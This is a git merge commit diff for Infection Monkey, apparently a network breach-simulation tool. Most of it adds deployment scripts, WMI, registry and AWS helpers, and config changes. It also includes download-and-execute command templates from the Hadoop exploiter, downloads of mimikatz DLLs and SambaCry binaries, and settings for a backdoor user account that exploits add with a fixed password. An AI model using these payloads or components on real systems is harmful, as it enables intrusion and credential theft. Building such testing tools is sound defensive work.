Merge branch 'develop' into feature/mssql_exploiter

# Conflicts:
#	monkey/infection_monkey/requirements.txt
#	monkey/monkey_island/cc/services/config.py
#	monkey/monkey_island/cc/services/report.py
#	monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
maor.rayzin 2019-01-07 17:42:00 +02:00
commit 2ac98ca5fc
77 changed files with 14379 additions and 12008 deletions

View File

@ -44,7 +44,8 @@ Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in t
Building the Monkey from source Building the Monkey from source
------------------------------- -------------------------------
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).

View File

@ -0,0 +1,23 @@
# Files used to deploy development version of infection monkey
## Windows
Before running the script you must have git installed.<br>
Cd to scripts directory and use the scripts.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
Don't forget to add python to PATH or do so while installing it via this script.<br>
## Linux
You must have root permissions, but there is no need to run the script as root.<br>
Launch deploy_linux.sh from scripts directory.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./deploy_linux.sh (deploys under ./infection_monkey)<br>
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>

19
deployment_scripts/config Normal file
View File

@ -0,0 +1,19 @@
#!/usr/bin/env bash
# Absolute monkey's path
MONKEY_FOLDER_NAME="infection_monkey"
# Url of public git repository that contains monkey's source code
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
# Monkey binaries
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
LINUX_32_BINARY_NAME="monkey-linux-32"
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
LINUX_64_BINARY_NAME="monkey-linux-64"
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"

View File

@ -0,0 +1,48 @@
# Absolute monkey's path
$MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
$LINUX_32_BINARY_PATH = "monkey-linux-32"
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
$LINUX_64_BINARY_PATH = "monkey-linux-64"
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
$TEMP_PYTHON_INSTALLER = ".\python.msi"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"

View File

@ -0,0 +1,157 @@
#!/bin/bash
source config
# Setup monkey either in dir required or current dir
monkey_home=${1:-`pwd`}
if [[ $monkey_home == `pwd` ]]; then
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
fi
# We can set main paths after we know the home dir
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
MONGO_BIN_PATH="$MONGO_PATH/bin"
ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
handle_error () {
echo "Fix the errors above and rerun the script"
exit 1
}
log_message () {
echo -e "\n\n-------------------------------------------"
echo -e "DEPLOYMENT SCRIPT: $1"
echo -e "-------------------------------------------\n"
}
sudo -v
if [[ $? != 0 ]]; then
echo "You need root permissions for some of this script operations. Quiting."
exit 1
fi
if [[ ! -d ${monkey_home} ]]; then
mkdir -p ${monkey_home}
fi
git --version &>/dev/null
git_available=$?
if [[ ${git_available} != 0 ]]; then
echo "Please install git and re-run this script"
exit 1
fi
log_message "Cloning files from git"
branch=${2:-"develop"}
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
chmod 774 -R ${monkey_home}
fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
mkdir -p ${MONGO_BIN_PATH}
mkdir -p ${ISLAND_DB_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
python_version=`python --version 2>&1`
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
exit 1
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
sudo apt-get install python-pip
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
python -m pip install --user -r ${requirements} || handle_error
# Download binaries
log_message "Downloading binaries"
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version
kernel=`uname -m`
linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
echo "Script does not support your operating system for mongodb installation.
Reference monkey island readme and install it manually"
exit 1
fi
# Download mongo
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
log_message "Downloading mongodb"
if [[ ${linux_dist} == *"Debian"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
fi
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
else
log_message "Mongo db already installed"
fi
log_message "Installing openssl"
sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
cd ${ISLAND_PATH} || handle_error
openssl genrsa -out cc/server.key 1024 || handle_error
openssl req -new -key cc/server.key -out cc/server.csr \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm
log_message "Installing npm"
sudo apt-get install npm
# Update node
log_message "Updating node"
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
sudo apt-get install -y nodejs
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
chmod +x ./build.sh || handle_error
./build.sh
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
log_message "Deployment script finished."
exit 0

View File

@ -0,0 +1,215 @@
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
# Import the config variables
. ./config.ps1
"Config variables from config.ps1 imported"
# If we want monkey in current dir we need to create an empty folder for source files
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
}
# Set variables for script execution
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$webClient = New-Object System.Net.WebClient
# We check if git is installed
try
{
git | Out-Null -ErrorAction Stop
"Git requirement satisfied"
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Please install git before running this script or add it to path and restart cmd"
return
}
# Download the monkey
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
if ( $output -like "*already exists and is not an empty directory.*"){
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
} elseif ($output -like "fatal:*"){
"Error while cloning monkey from the repository:"
$output
return
} else {
"Monkey cloned from the repository"
# Create bin directory
New-Item -ItemType directory -path $binDir
"Bin directory added"
}
# We check if python is installed
try
{
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like 'Python 2.7.*' ) {
"Python 2.7.* was found, installing dependancies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 2.7 ..."
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
"Python is not found in PATH. Add it manually or reinstall python."
return
}
}
# Set python home dir
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
"Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
if ( $output -like '*No module named pip*' ) {
"Make sure pip module is installed and re-run this script."
return
}
& python -m pip install --user -r $islandRequirements
# Install requirements for monkey
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
& python -m pip install --user -r $monkeyRequirements
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
"Unzipping mongodb"
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
# Get unzipped folder's name
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
# Move all files from extracted folder to mongodb folder
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
"Moving extracted files"
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
"Removing zip file"
Remove-Item $TEMP_MONGODB_ZIP
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
}
# Download OpenSSL
"Downloading OpenSSL ..."
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
"Unzipping OpenSSl"
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
# Download and install C++ redistributable
"Downloading C++ redistributable ..."
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_CPP_INSTALLER
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
. .\windows\create_certificate.bat
Pop-Location
# Adding binaries
"Adding binaries"
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
# Check if NPM installed
"Installing npm"
try
{
$version = cmd.exe /c '"npm" --version 2>&1'
if ( $version -like "*is not recognized*"){
throw System.Management.Automation.CommandNotFoundException
} else {
"Npm already installed"
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading npm ..."
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
Start-Process -Wait $TEMP_NPM_INSTALLER
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_NPM_INSTALLER
}
"Updating npm"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
& npm update
& npm run dist
Pop-Location
# Install pywin32
"Downloading pywin32"
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_PYWIN32_INSTALLER
# Create infection_monkey/bin directory if not already present
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
# Download upx
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
"Downloading upx ..."
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
"Unzipping upx"
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
# Remove unnecessary files
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
"Removing zip file"
Remove-Item $TEMP_UPX_ZIP
}
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
"Downloading mimikatz 32 binary"
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
}
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
if(!(Test-Path -Path $mk64_path )){
"Downloading mimikatz 64 binary"
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
}
# Download sambacry binaries
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
if(!(Test-Path -Path $samba32_path )){
"Downloading sambacry 32 binary"
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
}
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
if(!(Test-Path -Path $samba64_path )){
"Downloading sambacry 64 binary"
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
}
"Script finished"
}

View File

@ -0,0 +1,8 @@
SET command=. .\deploy_windows.ps1; Deploy-Windows
if NOT "%~1" == "" (
SET "command=%command% -monkey_home %~1"
)
if NOT "%~2" == "" (
SET "command=%command% -branch %~2"
)
powershell -ExecutionPolicy ByPass -Command %command%

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -0,0 +1,17 @@
import urllib2
__author__ = 'itay.mizeretz'
class AWS(object):
def __init__(self):
try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
except urllib2.URLError:
self.instance_id = None
def get_instance_id(self):
return self.instance_id
def is_aws_instance(self):
return self.instance_id is not None

View File

View File

@ -0,0 +1,83 @@
import wmi
import win32com
__author__ = 'maor.rayzin'
class MongoUtils:
def __init__(self):
# Static class
pass
@staticmethod
def fix_obj_for_mongo(o):
if type(o) == dict:
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
elif type(o) in (list, tuple):
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
elif type(o) in (int, float, bool):
return o
elif type(o) in (str, unicode):
# mongo dosn't like unprintable chars, so we use repr :/
return repr(o)
elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object:
return MongoUtils.fix_wmi_obj_for_mongo(o)
elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch:
try:
# objectSid property of ds_user is problematic and need thie special treatment.
# ISWbemObjectEx interface. Class Uint8Array ?
if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
return o.Value
except:
pass
try:
return o.GetObjectText_()
except:
pass
return repr(o)
else:
return repr(o)
@staticmethod
def fix_wmi_obj_for_mongo(o):
row = {}
for prop in o.properties:
try:
value = getattr(o, prop)
except wmi.x_wmi:
# This happens in Win32_GroupUser when the user is a domain user.
# For some reason, the wmi query for PartComponent fails. This table
# is actually contains references to Win32_UserAccount and Win32_Group.
# so instead of reading the content to the Win32_UserAccount, we store
# only the id of the row in that table, and get all the other information
# from that table while analyzing the data.
value = o.properties[prop].value
row[prop] = MongoUtils.fix_obj_for_mongo(value)
for method_name in o.methods:
if not method_name.startswith("GetOwner"):
continue
method = getattr(o, method_name)
try:
value = method()
value = MongoUtils.fix_obj_for_mongo(value)
row[method_name[3:]] = value
except wmi.x_wmi:
continue
return row

View File

@ -0,0 +1,25 @@
import _winreg
from common.utils.mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class RegUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
key = _winreg.ConnectRegistry(None, store)
subkey = _winreg.OpenKey(key, subkey_path)
d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
d = MongoUtils.fix_obj_for_mongo(d)
subkey.Close()
key.Close()
return d

View File

@ -0,0 +1,27 @@
import wmi
from mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class WMIUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
_wmi = wmi.WMI(moniker=moniker)
try:
if not properties:
wmi_class = getattr(_wmi, class_name)()
else:
wmi_class = getattr(_wmi, class_name)(properties)
except wmi.x_wmi:
return
return MongoUtils.fix_obj_for_mongo(wmi_class)

View File

@ -1,2 +1,2 @@
#!/bin/bash #!/bin/bash
pyinstaller --clean monkey-linux.spec pyinstaller -F --log-level=DEBUG --clean monkey.spec

View File

@ -7,8 +7,6 @@ from abc import ABCMeta
from itertools import product from itertools import product
import importlib import importlib
importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar' __author__ = 'itamar'
GUID = str(uuid.getnode()) GUID = str(uuid.getnode())
@ -22,6 +20,7 @@ class Configuration(object):
# now we won't work at <2.7 for sure # now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network') network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit') exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = [] unknown_items = []
for key, value in formatted_data.items(): for key, value in formatted_data.items():
@ -41,6 +40,9 @@ class Configuration(object):
elif key == 'exploiter_classes': elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value] class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects) setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else: else:
if hasattr(self, key): if hasattr(self, key):
setattr(self, key, value) setattr(self, key, value)
@ -193,7 +195,7 @@ class Configuration(object):
9200] 9200]
tcp_target_ports.extend(HTTP_PORTS) tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 200 tcp_scan_interval = 0
tcp_scan_get_banner = True tcp_scan_get_banner = True
# Ping Scanner # Ping Scanner
@ -206,8 +208,8 @@ class Configuration(object):
skip_exploit_if_file_exist = False skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5 ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" user_to_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!" remote_user_pass = "Password1!"
# rdp exploiter # rdp exploiter
rdp_use_vbs_download = True rdp_use_vbs_download = True
@ -268,5 +270,7 @@ class Configuration(object):
extract_azure_creds = True extract_azure_creds = True
post_breach_actions = []
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024 DOWNLOAD_CHUNK = 1024
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT = 15
class ControlClient(object): class ControlClient(object):
@ -72,7 +75,8 @@ class ControlClient(object):
LOG.debug(debug_message) LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,), requests.get("https://%s/api?action=is-up" % (server,),
verify=False, verify=False,
proxies=ControlClient.proxies) proxies=ControlClient.proxies,
timeout=TIMEOUT)
WormConfiguration.current_server = current_server WormConfiguration.current_server = current_server
break break

View File

@ -16,6 +16,7 @@
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true, "extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
@ -57,8 +58,8 @@
"monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true, "send_log_to_server": true,
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "user_to_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!", "remote_user_pass": "Password1!",
"ping_scan_timeout": 10000, "ping_scan_timeout": 10000,
"rdp_use_vbs_download": true, "rdp_use_vbs_download": true,
"smb_download_timeout": 300, "smb_download_timeout": 300,
@ -79,7 +80,7 @@
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false, "local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 0,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,
"tcp_target_ports": [ "tcp_target_ports": [
22, 22,
@ -97,5 +98,6 @@
"timeout_between_iterations": 10, "timeout_between_iterations": 10,
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30 "victims_max_find": 30,
"post_breach_actions" : []
} }

View File

@ -12,7 +12,7 @@ import posixpath
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]] HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds # How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
